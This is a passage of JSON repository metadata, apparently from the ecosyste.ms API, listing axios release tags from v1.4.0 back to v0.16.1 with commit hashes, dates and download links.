fests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.4.0/manifests"},{"name":"v1.3.6","sha":"59eb99183546d822bc27e881f5dcd748daa04173","kind":"tag","published_at":"2023-04-19T19:38:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.6","html_url":"https://github.com/axios/axios/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"4af78a72eee06172c53383aaed74e2dcaf44d620","kind":"tag","published_at":"2023-04-05T18:02:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.5","html_url":"https://github.com/axios/axios/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"2e70cecda42993e1153248f0f96715c3c55f7f39","kind":"tag","published_at":"2023-02-22T21:06:15.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.4","html_url":"https://github.com/axios/axios/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"d9ebf8fb3ab2e6d277626d72bcf5580e2a6e795b","kind":"tag","published_at":"2023-02-13T18:47:11.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.3","html_url":"https://github.com/axios/axios/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"0b449293fc238f30f39ab9ed0fca86a23c8a6a79","kind":"tag","published_at":"2023-02-03T18:10:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.2","html_url":"https://github.com/axios/axios/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"54d3facb3b032665e6ae84e157073702b5c2e4d9","kind":"tag","published_at":"2023-02-01T23:30:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.1","html_url":"https://github.com/axios/axios/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"7fbfbbeff69904cd64e8ac62da8969a1e633ee23","kind":"tag","published_at":"2023-01-31T16:55:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.0","html_url":"https://github.com/axios/axios/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.0/manifests"},{"name":"v1.2.6","sha":"5bde91cac787d92ae56c6cb293941244cc4c617d","kind":"tag","published_at":"2023-01-28T16:41:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.6","html_url":"https://github.com/axios/axios/releases/tag/v1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.6/manifests"},{"name":"v1.2.5","sha":"366161e5e48f818fa42c906e91b71f7876aadabb","kind":"tag","published_at":"2023-01-26T15:06:30.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.5","html_url":"https://github.com/axios/axios/releases/tag/v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.5/manifests"},{"name":"v1.2.4","sha":"6600d51e6bbb7db984484ea09f62ec22f9044ed8","kind":"tag","published_at":"2023-01-24T17:21:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.4","html_url":"https://github.com/axios/axios/releases/tag/v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.4/manifests"},{"name":"v1.2.3","sha":"557ed0a7489b1bf62296ea34568eeea8975ff4f9","kind":"tag","published_at":"2023-01-15T23:57:44.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.3","html_url":"https://github.com/axios/axios/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.3/manifests"},{"name":"1.2.2","sha":"8ea432429b81c2f1aa8b03e43d0bdb498f21c4f4","kind":"commit","published_at":"2022-12-29T06:31:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/1.2.2","html_url":"https://github.com/axios/axios/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.2/manifests"},{"name":"v1.2.2","sha":"8ea432429b81c2f1aa8b03e43d0bdb498f21c4f4","kind":"commit","published_at":"2022-12-29T06:31:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.2","html_url":"https://github.com/axios/axios/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"981265dbf464de00e57c6e9eaaca051510fb6021","kind":"commit","published_at":"2022-12-05T19:43:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.1","html_url":"https://github.com/axios/axios/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"f92e167f768437ae17f361b2ea36c9b9d48aa814","kind":"commit","published_at":"2022-11-22T18:59:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.0","html_url":"https://github.com/axios/axios/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.0/manifests"},{"name":"1.2.0-alpha.1","sha":"3a7c363e540e388481346e0c0a3c80e8318dbf5d","kind":"commit","published_at":"2022-11-10T18:59:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/1.2.0-alpha.1","html_url":"https://github.com/axios/axios/releases/tag/1.2.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@1.2.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.0-alpha.1/manifests"},{"name":"v1.1.3","sha":"9bd53214f6339c3064d4faee91c223b35846f2dd","kind":"commit","published_at":"2022-10-15T13:43:01.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.3","html_url":"https://github.com/axios/axios/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"1b29f4e98e5bb44a125230398f61aa5b0add91c2","kind":"commit","published_at":"2022-10-07T10:09:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.2","html_url":"https://github.com/axios/axios/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"1315e2282f9463bac77b0c0672f47d8d69804677","kind":"commit","published_at":"2022-10-07T09:08:35.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.1","html_url":"https://github.com/axios/axios/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"9c3dce366bd594558e5e474ce9135af22a0d9949","kind":"commit","published_at":"2022-10-06T19:17:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.0","html_url":"https://github.com/axios/axios/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"484aa4fe6addccbd32206a31eb3d2d000843066e","kind":"commit","published_at":"2022-10-04T19:19:36.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.0.0","html_url":"https://github.com/axios/axios/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0/manifests"},{"name":"v1.0.0-alpha.1","sha":"3cf6ad72033fd6eacf720a7d700f99dc96f586a3","kind":"commit","published_at":"2022-05-31T19:14:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.0.0-alpha.1","html_url":"https://github.com/axios/axios/releases/tag/v1.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0-alpha.1/manifests"},{"name":"v0.27.2","sha":"bc733fec78326609e751187c9d453cee9bf1993a","kind":"commit","published_at":"2022-04-27T09:58:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.2","html_url":"https://github.com/axios/axios/releases/tag/v0.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.2/manifests"},{"name":"v0.27.1","sha":"838f53b4bb6616d8ec8efdae0612c9c74b8c3804","kind":"commit","published_at":"2022-04-26T07:31:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.1","html_url":"https://github.com/axios/axios/releases/tag/v0.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.1/manifests"},{"name":"v0.27.0","sha":"008dd9d466167e97727bdba13f4937bb9d7f3baa","kind":"commit","published_at":"2022-04-21T10:55:24.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.0","html_url":"https://github.com/axios/axios/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.0/manifests"},{"name":"v0.26.1","sha":"8e67551177990ed067384e1641d6964dcab773f7","kind":"commit","published_at":"2022-03-08T06:26:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.26.1","html_url":"https://github.com/axios/axios/releases/tag/v0.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.1/manifests"},{"name":"v0.26.0","sha":"c9aca7525703ab600eacd9e95fd7f6ecc9942616","kind":"commit","published_at":"2022-02-13T14:20:24.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.26.0","html_url":"https://github.com/axios/axios/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.0/manifests"},{"name":"v0.25.0","sha":"5c5cbdf4ba1e2b55b6bff35673bdd5206b4eddf8","kind":"commit","published_at":"2022-01-18T07:24:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.25.0","html_url":"https://github.com/axios/axios/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.25.0/manifests"},{"name":"v0.24.0","sha":"53d6d37556a3443b00b3d9b4e7a934bf1d81aabe","kind":"commit","published_at":"2021-10-25T17:47:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.24.0","html_url":"https://github.com/axios/axios/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.24.0/manifests"},{"name":"v0.23.0","sha":"1025d1231a7747503188459dd5a6d1effdcea928","kind":"commit","published_at":"2021-10-12T15:34:26.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.23.0","html_url":"https://github.com/axios/axios/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"72f14ceef7dae917057f1d5c221713610a65217b","kind":"commit","published_at":"2021-10-01T05:53:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.22.0","html_url":"https://github.com/axios/axios/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.22.0/manifests"},{"name":"v0.21.4","sha":"66c46020bd01b39081259ae74edc2afc283818fa","kind":"commit","published_at":"2021-09-06T15:30:11.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.4","html_url":"https://github.com/axios/axios/releases/tag/v0.21.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.4/manifests"},{"name":"0.21.3","sha":"e367be54dc0e8e3f5dfcba134c69d4a8f1e40324","kind":"commit","published_at":"2021-09-04T19:01:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/0.21.3","html_url":"https://github.com/axios/axios/releases/tag/0.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@0.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.21.3/manifests"},{"name":"v0.21.2","sha":"c0c87610911e1edebc923d0e932fea28cdfddae3","kind":"commit","published_at":"2021-09-04T09:57:32.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.2","html_url":"https://github.com/axios/axios/releases/tag/v0.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.2/manifests"},{"name":"v0.21.1","sha":"a64050a6cfbcc708a55a7dc8030d85b1c78cdf38","kind":"tag","published_at":"2020-12-22T04:17:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.1","html_url":"https://github.com/axios/axios/releases/tag/v0.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.1/manifests"},{"name":"v0.21.0","sha":"94ca24b5b23f343769a15f325693246e07c177d2","kind":"tag","published_at":"2020-10-23T16:26:35.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.0","html_url":"https://github.com/axios/axios/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"0d8765562401910c1c509f6739a3bc558721e123","kind":"tag","published_at":"2020-08-21T03:11:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.20.0","html_url":"https://github.com/axios/axios/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0/manifests"},{"name":"v0.20.0-0","sha":"ffea03453f77a8176c51554d5f6c3c6829294649","kind":"tag","published_at":"2020-07-15T16:04:59.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.20.0-0","html_url":"https://github.com/axios/axios/releases/tag/v0.20.0-0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.20.0-0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0-0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0-0/manifests"},{"name":"v0.19.2","sha":"2a0ff479f9fb7f09a219f5178ca85a6519562ff1","kind":"commit","published_at":"2020-01-22T04:24:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.2","html_url":"https://github.com/axios/axios/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.2/manifests"},{"name":"0.19.1","sha":"351cf290f0478d6e47e74c6da2f3ad8fe8f29887","kind":"commit","published_at":"2020-01-07T18:54:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/0.19.1","html_url":"https://github.com/axios/axios/releases/tag/0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.19.1/manifests"},{"name":"v0.19.1","sha":"960e1c879892ac6e1c83a798c06b9907e35ad2df","kind":"commit","published_at":"2020-01-07T17:21:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.1","html_url":"https://github.com/axios/axios/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.1/manifests"},{"name":"v0.18.1","sha":"face0165de613696d10b1fd2a0e2f7b3852fa018","kind":"tag","published_at":"2019-06-01T00:46:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.18.1","html_url":"https://github.com/axios/axios/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.1/manifests"},{"name":"v0.19.0","sha":"8d0b92b2678d96770304dd767cd05a59d37f12cf","kind":"tag","published_at":"2019-05-30T16:10:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.0","html_url":"https://github.com/axios/axios/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0/manifests"},{"name":"v0.19.0-beta.1","sha":"527381198e8112dd298918b3d9d6c643763a59c3","kind":"tag","published_at":"2018-08-09T18:39:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.0-beta.1","html_url":"https://github.com/axios/axios/releases/tag/v0.19.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0-beta.1/manifests"},{"name":"v0.18.0","sha":"d59c70fdfd35106130e9f783d0dbdcddd145b58f","kind":"tag","published_at":"2018-02-19T23:23:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.18.0","html_url":"https://github.com/axios/axios/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.0/manifests"},{"name":"v0.17.1","sha":"ad1195f0702381a77b4f2863aad6ddb1002ffd51","kind":"tag","published_at":"2017-11-11T23:24:16.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.17.1","html_url":"https://github.com/axios/axios/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"2c0e3183215d9a5fbc2ee8f35f459ac0e4d9f99c","kind":"tag","published_at":"2017-10-21T18:00:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.17.0","html_url":"https://github.com/axios/axios/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.0/manifests"},{"name":"v0.16.2","sha":"46e275c407f81c44dd9aad419b6e861d8a936580","kind":"tag","published_at":"2017-06-03T19:28:26.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.2","html_url":"https://github.com/axios/axios/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.2/manifests"},{"name":"v0.16.1","sha":"5c8095e48329dacaec1f8d43a9b84ed275fbd0ef","kind":"tag","published_at":"2017-04-08T18:51:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.1","html_url":"https://github.com/axios/axios/releases/tag/v0.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.1","manifests_url"